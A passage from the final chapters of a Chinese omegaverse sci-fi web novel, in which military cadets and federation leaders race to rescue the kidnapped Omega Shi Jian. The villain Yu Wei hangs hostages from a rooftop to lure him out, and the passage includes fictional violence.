他手腕上的机械表一分一秒滴滴答答地走过,每个人的心里都蒙上了一层乌云,他们之中有的是身经百战的老兵,有的只是成绩优异还没出过几次任务的军校生,更有甚者连沈行川都在,彼此都深深地担忧着此次先锋行动的成败。 没有人插科打诨,气氛很沉重。 温隅安刻意多等了半个小时,才安排等在原地的B+及以Alpha们陆续投入人群,到最后只剩下他和沈行川,犹豫再三,还是问出了那个令他感觉到恐惧的问题:“时茧真的只是和Omega朋友出去约会了吗?他现在回去没有?” 但他不能够轻易向留守在营地的付岩求证,这会大大增加他们暴露的风险,所以哪怕再焦虑,温隅安也不得不强压下心底的冲动,以目前的任务为重。 沈行川愣了下,迟疑道:“如果是别的我不认识的Omega,那我可能会劝小茧不要在这种特殊时候出去,但那个Omega是他从小玩到大的好朋友,我就没有立场和理由去阻拦了。” 提到雷雨,温隅安冷哼一声,不喜道:“时茧总说我沙文主义,但他却总能容忍雷家那小子的Omega极端崇拜观点,这样明晃晃的偏心,他从小到大都是只给那家伙的。” 沈行川被温隅安话里话外的酸劲逗笑,正要脱口而出一句小茧想双标就双标你无权干涉,却忽然停住不动,心中翻过惊天骇浪。 温隅安见他话说到一半就没动静了,有些不满地看了他一眼,正要骂几句,沈行川却忽然激动道:“雷雨!!!你不是说他思想有些极端吗?会不会他和那个Omega极端崇拜的组织有关?” 沈行川越想越觉得这两者有一定的共通性,而温隅安在起初的愣怔过后,眼神也逐渐严肃起来:“你虽然蠢,但有这方面倒是敏锐得可怕,这个猜测不是没可能,尤其牵涉到时茧,更应该是重中之重。” 沈行川一开始兴致勃勃的劲儿没一会就消下去了,他有点纳闷地看着表情如常的温隅安,从那张仿佛一生下来就带着面具、极擅长伪装正常人类的脸上,看到了深埋于下有些扭曲的嫉妒,顿时有点无语了:“你到底是真心觉得他有问题,还是单纯想公报私仇啊。” 温隅安倒是坦荡,冷笑道:“我讨厌他。不行?” 沈行川:“……” 果然!他就知道!心眼忒小了! “你留在这儿,争取在不引起警惕的情况下与第九军区取得联系,向他们转达调查雷雨的命令。” 沈行川见温隅安也背上了那把伪装成大提琴的狙击枪,忙跟着起身:“你们都上前线了,就把我留在这里?我好歹我是个A+吧!平时学习成绩也挺好的。让我跟着一起去,我发誓自己不会拖后腿的。” 温隅安飞快地扫了他一眼,不屑道:“就你这样的菜鸟,真爆发冲突第一个死的就是你。” 沈行川感到意外:“虽然你狗嘴里吐不出来象牙,但我是不是能把这理解为保护我?温长官什么时候这么善良了?” 温隅安不耐烦地“啧”了声:“如果不是担心你出意外会让小茧伤心,我根本懒得管你死活。” 沈行川惊奇地看着他,一副“太阳打西边出来”的惊诧:“你居然能有这觉悟!你要早这样,何至于跟小茧闹到今天这地步!” 面对沈行川的故意接连踩雷,温隅安实在装不下去温和有礼,咬牙切齿道:“把你的嘴给我闭上,我跟时茧之间的事轮不到你来操心!” 第89章 第 89 章 顾识云。 留在营地的付岩收到沈行川传回的消息, 一刻也没敢耽误,马上通过他的兄长付山转达给了时藏锋。 在中午十二点四十五分的时候,联邦安全局迅速展开对雷雨的调查, 他们最先得知的情报, 自然是雷雨此刻并不在白霭高等学院。 那么毫无防备前去赴约的时茧,几乎已经可以确定已经陷入危险, 并非所谓的和Omega共度春宵才在外滞留。 时藏锋阴沉地打开定位器, 和上次极端组织基地时一模一样, 信号完全被干扰, 根本判断不了小儿子如今在哪里, 但可以佐证他失踪的判断。 和上一次完全不同的是, 无论是时藏锋, 还是本来要主持一场月末述职会议的时序, 在得知时茧陷入危险后的那一刻, 再也顾不上任何手头需要他们的重要的工作, 当下脑海里唯一的想法, 只有立刻马上找到时茧, 把他毫发无伤地带回来! 迫在眉睫的杜鹃计划需要他们,可此时此刻下落未明、生死不知的时茧一定更需要他们! 时藏锋正紧紧攥着定位器,素来坚定无畏的眼神却罕见地因为担心则乱而多出几分茫然, 那场险些夺走时茧生命的爆炸至今仍旧历历在目,他不知道幸运女神是否能够永远降临赐福于自己的儿子, 但如果可以,他只希望一切的灾难和厄运都远离时茧。 抢救室的画面在时藏锋的脑海里一遍遍重演,他甚至因此而无法思考,连时序是什么时候赶来的都不知道。 “查到小茧的下落了吗?” 时序满身的风尘仆仆,副官见状忙递上椅子, 又接了杯热水递上去。 “您先别着急。暂时还没有小少爷的行踪,但根据他同学提供的时间来看,即便从他昨晚出去开始算起,直到现在,失踪也还没有超过24小时。从过往失踪案例分析来看,安全生还的概率很大,您和上将都不必过于消极,否则就更撑不起精神营救小少爷了。” 副官的安慰并没有让时序心中的焦急少一分,因为着急,平日里沉着冷静的议长形象都狼狈了不少,语气里也带着几分责怪:“明知是多事之秋,温隅安更是小茧的直系上级,父亲您这段时间也常待在中心区,这么多人,为什么都没能看住他呢?这样的事明明已经发生过一次,按理说不应当再出纰漏了!” 副官可不敢说话,战战兢兢地站在一旁,生怕这俩父子吵起来殃及池鱼。 时藏锋方才回神,闻言也没有什么训斥长子不敬的心思,整颗心肠都牵挂在时茧的安危上了。 “没有保护好他自然是我的失职,但你弟弟不是什么温室里一吹风就折的花骨朵,他愿意也能够去面对外面世界的狂风大浪,我们要做的是给他兜底而不是‘看好他’。” 时藏锋冷冷地看了时序一眼,“你的弟弟不是没有大人照看就会走丢的小宝宝,也不是没脑子的蠢货。一个伪装得极深极好、没有引起过任何人怀疑的,和他知根知底地相处了十几年的朋友,他去赴约导致自己落入陷阱,该责怪的是欺骗他真心的人。” 时序被训得哑口无言,也只得放弃讨论谁对谁错,转而寻求破局之法:“雷雨调查得怎么样了?他是雷诺的儿子,同样牵扯到一个军区,这件事恐怕不会是一般的棘手。” 时藏锋:“皇帝已经知晓此事,下令联邦安全局立刻调查。不论其他,只说时茧是在见过他之后才失踪的,雷诺就不敢也没理由阻碍安全局办事。只是等结果还需要一段时间。” 时序一顿,“皇帝?您说的是……” 话音未落,余光便看见副官向门口方向敬礼。 他转头一看,不正是诺曼皇室的现任掌权人,那位除必要情况否则绝不露面的阿比斯·诺曼吗! 他的身后,还跟着一个眼熟的年轻人。 阿比斯·诺曼将时序的惊诧收入眼底,如果是平时,那他一定会和心上人的兄长好好寒暄一阵,但如今事态紧急,根本顾不上那些虚头巴脑的东西,径直走到时藏锋的办公桌前,开门见山道:“安全局最新查出来的东西,雷雨和那个极端组织有很深的关联,且他与白霭高等学院的老师原绣来往密切,二人都曾有频繁去往第一军区的行迹追踪。如果我们先抛开时茧究竟在哪里这个问题,单看与时茧失踪高度关联的雷雨的踪迹,不难推断出雷雨此时大概率就在第一军区,甚至就在余维的行政楼区。” 时序眼神一凛,立刻意识到对方的想法:“您是说小茧很有可能也在那里。” 阿比斯·诺曼颔首:“一味的等待只会错失最佳机会,只要有可能,我想就应该尝试。” 时序倒是赞同这句话,但不知是不是错觉,这位皇帝陛下表现得似乎同样很在意小茧的安危? 可这怎么会呢? 时藏锋的目光在阿比斯·诺曼身后的青年身上停留了一瞬,他知晓的内情更多,时序不明白的事,他可是一清二楚。 “你的意思是,要让太子殿下也参与到此次对第一军区的围剿中?” 阿比斯·诺曼笑容优雅:“识云很是担忧时小少爷的安危。” 在除了时茧以外的人面前,顾识云都犹如一个真正的机器人那般冷漠,闻言也只不过小幅度的点了一下头,以此表示阿比斯·诺曼话语的真实性。 时序隐约察觉出什么,隐晦地瞥了眼时藏锋,男人脸色黑沉,但终究没有出言否定,便猜到一二。 思来想去,语气放得更加诚恳了些:“听闻太子是联邦极少数的S+Alpha的其中之一,有他的助力,想必小茧的安全也能够多得一份保障。” 听他表完态度,哪怕想法和自己差不多,本着不用白不用的心态,但一想到这会让阿比斯·诺曼和他儿子接收到默许的信号,时藏锋还是本能地不舒服。 反胃,恶心。 这父子俩的行为完全就是趁火打劫。 “雷雨很有可能与余维有某种合作,所以余维才会为他提供庇护和支持。根据温隅安传回来的消息和联邦安全局的调查资料,雷雨,余维,小茧,第一军区,变异异种,杜鹃计划,这些或许都可以串联到一起。” 时藏锋收起情绪,冷静分析道:“形势远比我们预测得要更加严峻,火力围剿的计划恐怕要提前,我会尽快整顿好军队,在得到第一军区首府兵力部署的情报后立刻派兵。但这无疑会直接惊动对方,如果小茧真的在第一军区,为了制衡我,余维什么都做得出来。所以必须赶在这之前尽快确认他的行踪,且实施救援,否则针对余维的行动将会异常艰难。” 几乎所有人都看向了顾识云,Alpha只留下一句:“他活我活,他死我死。” 说完,转身离开。 时藏锋收回视线,看向阿比斯·诺曼,不知为何,对方的脸色似乎苍白了些,好像在一瞬间消耗了很多心神那般。 时藏锋按下疑惑,转而对时序道:“余维汲汲经营,军方和议会都有不少他的人脉,一旦让他察觉到我们的意图,他一定会通过各方施压迫使我们取消行动,所以你现在必须先回上议院压着那些心怀鬼胎的人,以免让他们妨碍到我们的计划。” 时序虽心系时茧,根本无心管这些是是非非,但他也知道当下能否辖制住余维很重要,不得不强打起精神,被副官送出临时营地。 来时乌云密布,现在下起了阵阵小雨,冷风一吹,阴冷的湿意刺骨蔓延。 时序轻轻推掉副官递上的伞,任由冰冷的雨水打在身上,也只有这样,他心底如地狱火海般翻腾不止的焦躁才会平息片刻。 他无声地望向雨幕之后的远方,虔诚地向神明祈祷着,希望幼弟这一次依旧能够有惊无险、平平安安地回来。 这场雨的范围格外地大,积雨云从中心区一路扩张到第一军区。 下午四点,全副武装的Alpha们无视阴冷刺骨的雨水,在余维的暴怒中倾巢而出,全方位地搜捕消失在行政楼区的那个蓝发少年。 而A1实验楼内,事情败露的雷雨被士兵们推搡着押解到余维面前,不过瞬息之间,便从一个尚有利用价值的座上宾沦为阶下囚。 余维已经无法再控制自己那和善的假面,整张脸因愤怒而扭曲,五官可怖地挤在一起,发出从牙齿里磨出来的阴森笑声。 “你敢骗我,你竟敢骗我!!!金属室里那个人是谁?!你们到底是怎么把时茧送出去的!!!” 亲属十分有眼色地一脚狠踹在雷雨膝盖窝,迫使他跪下来,但即使疼痛难忍,雷雨也强撑着用膝盖抵着地面不肯跪下去,另一只腿也倔强地半立着。 雷雨挣扎着,冷笑道:“你不是胜券在握吗?怎么?发现自己的梦脆弱得像泡沫一样,终于忍不住露出真面目了?” 余维瞪着他,目眦欲裂,几乎想把他撕碎:“闭嘴!!!!” 第90章 第 90 章 时茧如何得知。 余维一脚踹过去, 雷雨飞出去半米远,喉咙涌上腥甜的铁锈味,胸口的肋骨仿佛被重卡碾过, 疼得他眼前一阵阵发黑, 半天都没缓过气来。 余维仍未解气,恨不得直接拔枪把倒在地上吐血的青年打成筛子, 一双眼睛因愤怒而扭曲得几乎看不出人形, 和边境那些形容可怖的异种倒是高度相似。 亲信冒着被连坐的风险拼死拦下余维:“将军息怒!事已至此就算杀他百次千次也起不到任何作用, 相反留他一命还能有点用, 您千万不能在这种节骨眼上意气用事啊!” “就算您真要杀了他泄愤, 这么痛快的方式也太便宜他了, 我们有的是法子把他慢慢折磨至死。” 其他人也都纷纷跪伏下来劝告, 余维那即将被怒火完全吞噬的理智才终于找回来一些。他深呼吸几次, 竭力压下心中那本能的嗜杀冲动, 才能勉强克制住自己不对雷雨继续下狠手。 “能在这么多监控下偷天换日, 看来我还是小瞧了你啊, 不愧是这么年纪轻轻就能坐上极端组织一把手位置的Omega, 可真是狠狠地摆了我一道。” 余维又是一脚踢在雷雨腹部,痛得他本能地蜷缩起来护住脆弱部位。 “我还以为你决定帮时藏锋的儿子逃出去那一刻就已经做好了会被我折磨致死的准备,不过看现在这样子, 你好像还是对我的手段缺乏一定的了解啊?雷雨先生?” “咳咳——”雷雨猛地吐出一大口鲜血,发黑的淤血里还夹杂着内脏血块, 但他依旧扬起脸,大笑着露出沾血的牙齿,轻蔑道:“下贱的异种罢了,就算变异得再像人,也终究非我族类, 更别妄想用时茧的身体孕育你们那恶心的异种胚胎,我就算是死也不会让你如愿!” 余维怒极反笑:“哈,很好,还真是情深义重。就是不知道你豁出性命救出去的人,会不会也同等重视你这条贱命?你以为我不知道你想的是什么吗?让你那么痛快的死?做梦!” 雷雨讽刺的笑容中逐渐泛上一些涩意,看着余维眼底的癫狂神色,不禁感到一种不寒而栗,在心底祈祷着老天保佑不要节外生枝,能让时茧顺利逃出去。 余维挥挥手:“把他和关着的那两个人都一起带到A1实验楼的天台,既然花园里到处都找不到那只蝴蝶,不如就用陷阱吸引它自己上钩。我倒要看看时藏锋的儿子是个和他一样冷血无情的人,还是个一腔热血的蠢货。” 同一时间,其余士兵正在全力搜捕时茧。 “这里没有!” “报告,A2实验楼暂时没有发现目标踪迹。” “行政大楼也没有!” “停车场也没有!” “继续搜!把警犬和相关AS的Alpha都派来!一定要尽快把人抓回来!” “是!” 嘈杂的人声和脚步声来来去去,始终没有完全安静下来。时茧像只壁虎般四肢紧紧扒在越野车底部,从始至终未发出丁点动静,直到又一波人的声音渐渐远去,确认附近都没有人后,他才一点点挪出来。 时茧深知光靠自己是很难从这样天罗地网的搜捕中顺利逃出去的,何况他打从一开始就没想过抛下雷雨,以及那随着记忆找回,最重要的、导致上一世联邦覆灭的原因,这些单凭自己一个人绝无可能做到,所以他的当务之急必须尽快与外界取得联络,向他们告知余维在背地里所做的一切,等待援兵与自己里应外合。 时茧做了最坏的打算,他发出去的求救信息可能石沉大海,也有可能幸运地得到了回应,但即使如此,想要临时筹措出一支足以抗衡变异异种的军队也绝非易事。 但无论结局好坏—— 时茧都不会抛弃任何一个他在意的人。 他伪装成余维手下一员,在找寻向外界联络的方式时,也在观察地形,和脑子里那张平面地图相结合,最终如堆砌积木般迅速拉起一座行政园区的3D建模。 被时茧剥掉衣服的士兵尸体尚未被找到,他得以混在搜捕的人群之中不被发现,一眼锁定了这支小队的队长,目光从他胸前的通讯仪上一闪而过。 “这边搜过没有,再回A1和A2两栋实验楼的连廊看看,这次不要放过任何一个角落。”队长利落转身,“目标一定还在园区内,他逃不掉的。” “是!” 时茧没有出声,反正他们的脸都被防弹面罩覆盖了,也看不出谁说话了谁没说话,默默地跟在队长身后,完全融入进来。 不算他,这支小队有五个人,时茧依旧耐心地等待着机会。 队长刚要踏出一无所获的办公室,落脚那一刻,下意识地回头看了一眼,目光落在最后面的那人身上时现出几分疑惑:奇怪,他们队伍里什么时候多出一个人? 不对—— 但他来不及思索更多了,他人生中看见的最后一个画面,是一把银色匕首破空袭来,将他脆弱的喉管横向割断,动脉血瞬间飙成细细的喷泉,整个空间里都弥漫着血色雾气。 队长仰面栽倒,在生命的最后一刻,他看见几个队友像坍塌的多米诺骨牌般,朝着自己的方向齐齐倒下。 直到他抽搐着呼吸最后一次,也没有想明白,自己究竟是怎么在瞬息之间丧命。 他甚至,没有看清楚到底是谁动的手。 不大的办公室里鲜血横流,时茧嫌恶地半遮住鼻子,弯下腰从已经成为尸体的队长胸前拿出通讯仪,将频道调至第一军校。 常规的电子信号早被屏蔽,时茧只能用这种类似电台的东西,简略地向外界发出求救。 这段信号一样会被检测到,一旦被余维的人发现他正在试图与外界进行联络,那么很快他们就会切断所有的信号,并且通过通讯仪定位到他现在所在的位置。 时茧只有一次机会,他从来不信神明命运,但这次他由衷且虔诚地祈祷,但愿能将这份极其重要的情报顺利传送出去。 * 从温隅安带走精锐小队后,被留下来的付岩便一直守着电台,哪怕十几个小时过去都没有收到任何消息,他也枯坐着不敢有丝毫懈怠,万分焦急地等待着哪怕一个字节。 付岩知道只要时茧没有被完全控制住,只要他还能自我活动,就一定会想办法联络营地。而这或许是能找到时茧的唯一方法,也是时茧仅剩的希望。 他的等级不够高、也没有出过太多次任务,没有办法像隋边和沈行川那样亲自去到前线,已经算是时茧的朋友里很没用的那一个了,至少这样简单的事他必须做好,绝不能够在时茧最需要帮助的时候缺席! 拜托了……拜托了…… 请让我知道时茧是平安的吧…… 付岩正在祈祷,忽然面前的仪器响起一阵尖锐的电流声,他先是一愣,反应过来后则是狂喜:联邦的军校生被要求学习并掌握多种密文,有军队通用、部门通用、军区通用,每个学校教出来的军校生也会有自己学校的一套密文,而这段密文正是出自第一军校!也只有出身于第一军校的学生才能破译! 他立刻就清楚了时茧目前的处境,庆幸的同时也十分忧心,急忙回电,然而交流戛然而止。 那就肯定是出事了! 付岩忙站起身,用尽此生最快的速度冲到时藏锋的办公室,连礼节都顾不上,直接闯了进去,气喘吁吁地说:“确认了!!第一军区!余维!时茧就在那里!” 时藏锋“噌”地一下站起来,快步走到付岩身前,神情惊喜又犹豫:“他联系你了?!” 阿比斯·诺曼猛地扣住扶手,遏制住因情绪激动而涌上的不适—— 他这具身体为了维持“顾识云”这个小号的活动已经耗尽精力,早已是强弩之末,只能强撑着主持大局。 付岩一个劲点头:“就在刚刚!时茧用学校的密电格式联系了我,他被雷雨骗到了第一军区,但现在已经在雷雨的帮助下藏起来了。余维下令封锁了第一军区的行政楼区,派出大量兵力搜捕,他暂时无法脱困,情况非常严峻,急需外部帮助!” “还有杜鹃计划!余维本人就是变异异种,他们的目的是通过培育大量破坏性堪比S+的Alpha的异种个体,在潜伏进联邦各势力中的变异异种的里应外合之下推翻联邦,意图消灭人类,这个计划现在只差最后一步,必须立刻出兵第一军区,否则一旦让他们完成,联邦一定会陷入末日!” 时茧的密文极其简短,但付岩破译的时候却只觉触目惊心,他根本无法想象联邦看似和平的表象下竟隐藏着这样一个巨大的、可怕的阴谋,直至现在复述起来都还浑身颤抖。 “而且……时茧说,余维真正的底牌是他放置在联邦各大军区人流密集场所里的炸弹,如果不及时排除那些大当量炸弹,一旦被引爆,整个联邦将会有上千万人瞬间死去,所以现在最重要的就是立刻排除这些引爆物,免得联邦沦为人间地狱。” 时藏锋和阿比斯·诺曼的脸色都是同样的从未有过的沉重,余维丧心病狂的程度已经超出所有人的预设,但最重要的、付岩此刻还没意识到的一点是—— 时茧究竟是怎么知道这些的。 在付岩的复述里,他甚至连炸弹藏匿的每一个地点都精确指出,那些地方全部真实存在。 他一个从未接触过余维的军校生,人生的前十七年都在第九军区娇生惯养地长大,究竟是如何得知余维所筹谋的这一切? 他身上到底发生了什么?【你现在阅读的是 】 大结局 第91章 第 91 章 大结局(一) 但没有一个人怀疑时茧话里的真实性, 若非紧要到一定程度,他绝不可能放着自己被发现的风险也要讲这份消息传递出来。 时藏锋看向仍在惊讶中的副官:“相信他。给除第一军区外的其他所有军区发联合军令,除边境线上提防异种入侵的必要守备军力, 其余能够调动的编制立刻开拔, 根据时茧给出来的地址进行清场搜查排雷,务必控制住群众情绪, 避免因集体恐慌而引起不必要的麻烦;留守在中心区的军队整顿后随我赶往第一军区, 协助温隅安抓捕余维, 营救时茧。” 副官立刻回过神, 凛然道:“是。” 时藏锋一刻也等不了, 起身便走, 阿比斯·诺曼的精神力都用于保持顾识云的身体, 现在无法离开, 只能注视着他匆匆而去的背影:“上将, 请您把他平安带回来。” 时藏锋并未停下, 沉声道:“他, 和他守护的联邦, 我都会全力以赴。” 最后一个字落下时,办公室里已经看不见时藏锋的身影。阿比斯·诺曼闭上眼,透过顾识云的眼睛关注着第一军区此刻地现状, 合起双手,用诺曼皇室古老的祷告手势, 虔诚地为时茧祈福。 愿我挚爱永恒。 * 顾识云已经到了第一军区。 沈行川将他带到行政园区对面的一栋酒店顶楼,温隅安正在调他的狙击枪,头发被风吹得遮完眼睛。 “我们的人都已经集合在这附近了,目前得到的情报,A级以上Alpha二十余人, B级以上Alpha五十余人,基本都是强攻系AS;S级以上有余维和他的两个副手;除此之外他们的行政园区建筑强度都被提高过,普通的火力爆破无可奈何。而最重要的是他们拥有一整个军区的居民人质,如果硬闯,这些人将会最先沦为战火下无辜的亡魂。” 温隅安全神贯注地看着那方小小的瞄准倍镜,开启捕猎者AS后,他能够通过肉眼看见望远镜都不看清细节的距离。 “他们现在对此还都不知情,如往常每一个工作日那般按部就班地过着自己普通平凡的生活呢。” 顾识云望向街道上蚂蚁般大小的熙熙攘攘的人群,正是因为他们,时茧才会一次次落入险境,他绝不会希望看到仅仅为了救他一个人,便牺牲掉这么多人。 “我父亲带来的军队无法进入主城区,只能牵扯住边境叛军和异种,最终能够出手的战力依旧只有我们。”温隅安客观道。 顾识云神情如旧:“不够吗?” 温隅安很快地笑了笑,但并未反驳,很快收起严肃的表情,讲出自己的安排:“余维恐怕已经察觉我们的动作,所以现在必须要快。我们当中你的等级最高,负责作为强攻手杀进行政区,沈行川在内的先遣小队沿行政区环形作战,目的是防止有平民或者他们的人冲出来将战局扩大化,我负责在高点为你们提供视野和火力支援。” 沈行川立刻道:“明白。我马上去。” 说着转身就要向楼下跑去,然而刚走到楼道,透过次顶层的落地窗,看到一道人影从窗外极速坠下时,不由得停顿了下,发出一声下意识的惊呼。 温隅安毫不顾忌地站在只要腰间高的铁艺栏杆旁,鞋尖已经从镂空部分探出去半厘米,带着那犹如面具般的微笑,凝望着脚下二十楼的高度。 就在刚才,顾识云毫不拖泥带水地一跃而下。 他的直觉果然没错,还在第一军校时,这冰块脸就对时茧图谋不轨。 “还真是很讨厌你们这些围着小茧转的苍蝇……”他小声嘟哝着,转身抚摸自己的狙击枪,“但小茧喜欢的话……好像也没办法……” 他忽然又小小的惊呼了一声,透过瞄准倍镜看见了对面的楼顶上,一队人马正推搡着三个被记忆金属手铐捆得严严实实的人,领头的正是余维。 “这下可能要棘手了。” 余宸在被父亲的亲卫拉扯起来要转移时人都还是懵的—— 他第一想法是难道父亲放弃了那个光是听起来就十分不切实际的计划,要把他和时茧都放出去吗? 但很快,随着他见到形状狼狈的雷雨时,这样天真的想法便立刻不复存在了。 “你不是和我父亲狼狈为奸吗,怎么……”余宸噤了声,不可思议地看着雷雨。 对方笑了一下,露出被血染红的牙齿,他现在完全没有了平日里骄傲和优越感,像只噗通掉进池塘里的落水狗一样,被全副武装的Alpha们一左一右架着,肉眼能见到的地方都布满淤青伤痕,连眼睛处都有些肿胀充血。 事已至此,余宸还能有什么不明白的,除了他父亲,还有谁能在第一军区的政府机构里把他的座上宾伤成这样。 余宸又扭头看了一眼旁边那个和自己待在一起,现在已经换了张脸的“时茧”。 连他们是怎么偷天换日的,冷静下来后脑子稍转一转,也就都想通了。 他当时就奇怪时茧和雷雨怎么说着说着就吵起来了,还一口一个恩断义绝,闹得无比难看。想来从余维同意那通视讯起,他们就已经通过一种只有双方才清楚的暗号达成了共识,演出一场好友阋墙的把戏瞒过余维,让他以为雷雨已经被时茧完全推到他这一方了,才更方便后续以提取信息素制作靶向催情剂为由,让那个假货顺利地偷渡进来,代替时茧留在金属屋里。 而真正的时茧,早就在身旁这个Omega的AS下瞒天过海,逃出A1实验楼了。 思及此,余宸不由得松了口气,替时茧高兴起来。 但很快他就笑不出来了,余维显然已经完全失去理智,或者说他本来就是这么一个丧心病狂的人,在自己亲生儿子不可置信的目光里,狞笑着命令手下把他们三个一同带上天台。 余宸不敢相信血浓于水的父亲竟会连自己也算计进去,哪怕之前就已经得知他把自己从中心区带回来,每天打的那些针剂实质上只是为了将异种基因注射进他体内,可那种后知后觉得来的真相,远不如眼前亲身经历来得可怕。 余维甚至没有看他:“拿绳子把他们三个吊起来,这里够高,目标够明显,五分钟内时茧若不现身,就先把那个Omega扔下去摔成肉泥;下一个五分钟他还是不出现,死的就是余宸;如果他足够狠心能眼睁睁看着自己的至交也枉死,那我不得不承认,时藏锋真是养了个和他一模一样的好儿子。” 说到最后几句时,余维已经是咬牙切齿,表情扭曲到余宸根本不敢相认。 他睁大眼,喃喃着:“父亲……” 余维这才仿佛刚发现他也在这里的样子,故作惊吓后,笑眯眯地看向余宸:“原来是我那吃里扒外的好儿子。别担心,你可以祈祷你在时茧心里多多少少还是有一点分量;如果他不肯出现救你,也算你为异种的伟大事业作出了贡献。” “父亲和异种,都会记得你的付出。” 仅存的最后一点幻想也被余维无情地打破,余宸彻底崩溃,大喊道:“父亲!!!你疯了!!!” 余维嘴角的癫狂笑容还未退下,看向余宸的眼神却一点一点冷下去:“蠢货,我本就不是人类,而你一个混杂了人类肮脏血统的杂种,能为我的事业起到这么一点微薄的作用,已经是你此生最大的价值了!” 原绣冷眼旁观,也被余维这冷血的一幕惊到,冷笑道:“虎毒尚不食子,真要论起冷血,谁还能比你更冷血!你根本就是个从地狱里爬出来的恶魔,活着是伤天害理,死了更是天地不容!” 余维的笑容彻底消失,阴测测地看着他,声音扭曲道:“说得不错,异种就是将要毁灭联邦的、在卑贱人类眼中强大而不可战胜的恶魔。” 他挥挥手,亲卫们一哄而上,将几人高高悬挂在楼顶,连接他们的唯一绳子由特殊金属制成,纤细却又不会轻易断裂,正随着风摇摆晃动。 三个人就像三面颜色各异的旗子,在风中危险地飘荡着。 同一时间,余维刚刚的威胁被广播放大复述,一遍又一遍地响起在行政楼区的每一个角落。 时茧此刻正躲藏在行政楼的水房里,那些话一个不落的全部进了他耳朵。 没有余宸脑中他此刻该有的挣扎与纠结,相反,时茧平静地足以听见自己稳定跳动的心跳声。 他坐在爬梯上,双腿悬空,秋千一般晃着。 时茧看着竖井口黑漆漆的夜空,今晚连一颗多余的星星都没有,黑得那么深、那么重,似乎谁要是敢妄图伸手去摸这片天,都会被立刻吸噬进去。 时茧却觉得很安静,他像这样坐了有四分三十秒—— 毕竟原绣也伤害过他,做错事,总要付出点代价。 那就让他在风里多提心吊胆一会儿吧。 直到最后马上要进入倒数,时茧才慢悠悠地沿着爬梯一路上来,轻巧地跳到行政楼的天台上。 下一瞬无数道光束齐齐打在他身上,深夜里一道幽蓝的身影如同蝴蝶般神秘地降落。 轻轻吐出一句。 “我来了,放了他们。” 第92章 第 92 章 大结局(二) 两栋楼之间相隔并不算远, 即使只凭唇语也能读得出时茧到底说了什么。 雷雨几乎是一瞬间便激动起来,胡乱挣扎着,冲他大声吼道:“你疯了是不是?!明明都逃出去了还出来干什么!赶紧走啊!!” 余宸也猛地看过去, 瞳孔缩成一个极致的点。 亲卫的刀已经靠在吊着原绣的那根绳子上了, 原绣也没有抱任何活下来的期望,如果时茧一直没出来, 那他甚至挺满意的。 他原本揣测时茧或许会在眼睁睁看着雷雨也面临险境时才会忍不住出来, 可让他无论如何都没有想到的是, 这个和自己毫无关系、还一度被自己坑骗过的Omega, 居然会为了自己这条并不值钱的烂命而放弃逃出去的机会。 他一时怔住, 呆呆地看向对面的天台。 唯有余维喜不自禁, 迫不及待地命令属下:“快!给我抓住他!一定要活的!” 分散在行政园区各处搜捕的卫兵们即刻朝着行政楼围去, 以三人吊在空中的角度, 他们只要一低头就能看到Alpha们如一只只黑压压的蚂蚁般密密麻麻地爬过去。 而这些可都是攻击性极强的高等级Alpha, 哪怕时茧是S+Omega, 从基因登记上碾压他们, 可绝大部分Omega的AS都更偏向功能性, 仅仅凭借他一个人,根本不可能和这么多高等级Alpha抗衡! 到底该怎么办! 三人心头同时涌上一阵绝望,比刚刚生死一线时更绝望数百倍, 余维欣赏着他们崩溃的神情,啧啧感叹道:“没想到时藏锋那么一个杀人不眨眼的人, 养出来的儿子,居然是这样一个优柔寡断的圣母,为了你们三个废物甘愿束手就擒,我倒是高估他了。” 原绣最先反应过来,怒骂道:“杀人不眨眼?我看是把你们异种屠尽了吧!你们这种就该灭绝的垃圾, 除了玩这种下三滥的把戏还会什么,有本事就真杀了我,别搞这套威胁人的把戏!” 任谁都听得出他是在故意激怒余维,然而自觉时茧马上就要落入手心的余维完全不理会一个卑贱人类的挑衅,只期待地对余宸说:“看看我为了你能够得到你喜欢的人,付出了多少心血,可别再恨父亲了。” “很快,无数个强悍的异种就要从那么优秀的母体里降生,到时不止是我脚下踩着的这片土地,第九军区,中心区,整个联邦,都将是我们异种的乐园!” 余维癫狂大笑,余宸既愤怒,又痛心,几种情绪叠加在一起,让他绝望而悲哀地嘶吼道:“我没有一个异种的父亲!我和你没有任何关系!你那恶心的计划永远也别想成功!” 余维呵呵一笑:“那又如何?你这么卑贱的混血种,能有幸作为异种基因的承载容器,就已经应该感到知足,何况在我的帮助下,你很快就能得到自己心心念念的人,你应当跪下来磕头感谢我才对啊。” 余宸悲愤道:“做梦!哪怕是死,我也绝不会让你得逞!” 说罢不顾反噬,强硬催动被压制的AS,滔天火海从百米高空中倾泻而下,赤红的焰光照亮了在场每一个人的脸庞。 连稍远些的时茧,冰蓝双瞳也被这火光点亮,好似一片燃烧着烈焰的冰原。 他用这样一双令人心惊的眼睛,平静地俯视着楼脚下那些想要冲上来的Alpha。 余维脸色一变:“你要干什么?拦住他!” 他的亲信立刻冲上前,挥出无数道水箭,S级的强度压制下,仅是A+级别的余宸瞬间吐出一口鲜血,但依旧不管不顾的释放着倒灌火海,滚烫的熔岩蛇食般一点点将束缚他们的记忆金属侵蚀。 余维恶狠狠的盯着余宸,看着他的眼神仿佛是在看一个深恶痛绝的仇人:“留手干什么?!只要让他还留着一口气就行!” 亲信犹豫的眼神这才重新坚定,挥手凝出一把有一间教室那么大的冰刀,从倒悬火海的上空重重砍下,余宸的面部几乎是立刻就被压得变形,连没有直面这种压迫的雷雨和原绣都直观地感受到了那股阴冷到骨子里的寒意。 眼看着只差一点就能烧断的金属绳,两人心急如焚,奈何他们二人虽都是高等级Omega,但一个人的AS是麻痹认知,一个人的AS是生命力感知,都是常规的功能性AS,对眼前的战局起不到一点作用。 绝望从雷雨和原绣的眼中渐渐蔓延到余宸的眼中,他当然知道在多个S级Alpha面前发动AS无异于以卵击石,甚至他想要用AS烧断金属绳也不单是为了从余维手中逃脱,哪怕就让他们从二十几楼掉下去摔死,只要能够不成为时茧的拖累,那无论付出多大的代价,一切都是值得的。 然而就是这样一点微不足道的、堪称卑微的想法,余维也强硬地不允许存在。 S级Alpha的AS是冰元素,还恰巧与余宸属性相克,更不用说那几乎是刻在Alpha骨子里的基因等级压制,他只支撑了这么短短几十秒,七窍便已经在重压下开始慢慢流出黑血。 雷雨咬着牙,忍着全身的剧痛,发动AS,抽取离他最近的几个目标,将他们体内的生命力源源不断地注入到余宸体中。 若非如此,余宸恐怕早已重伤。 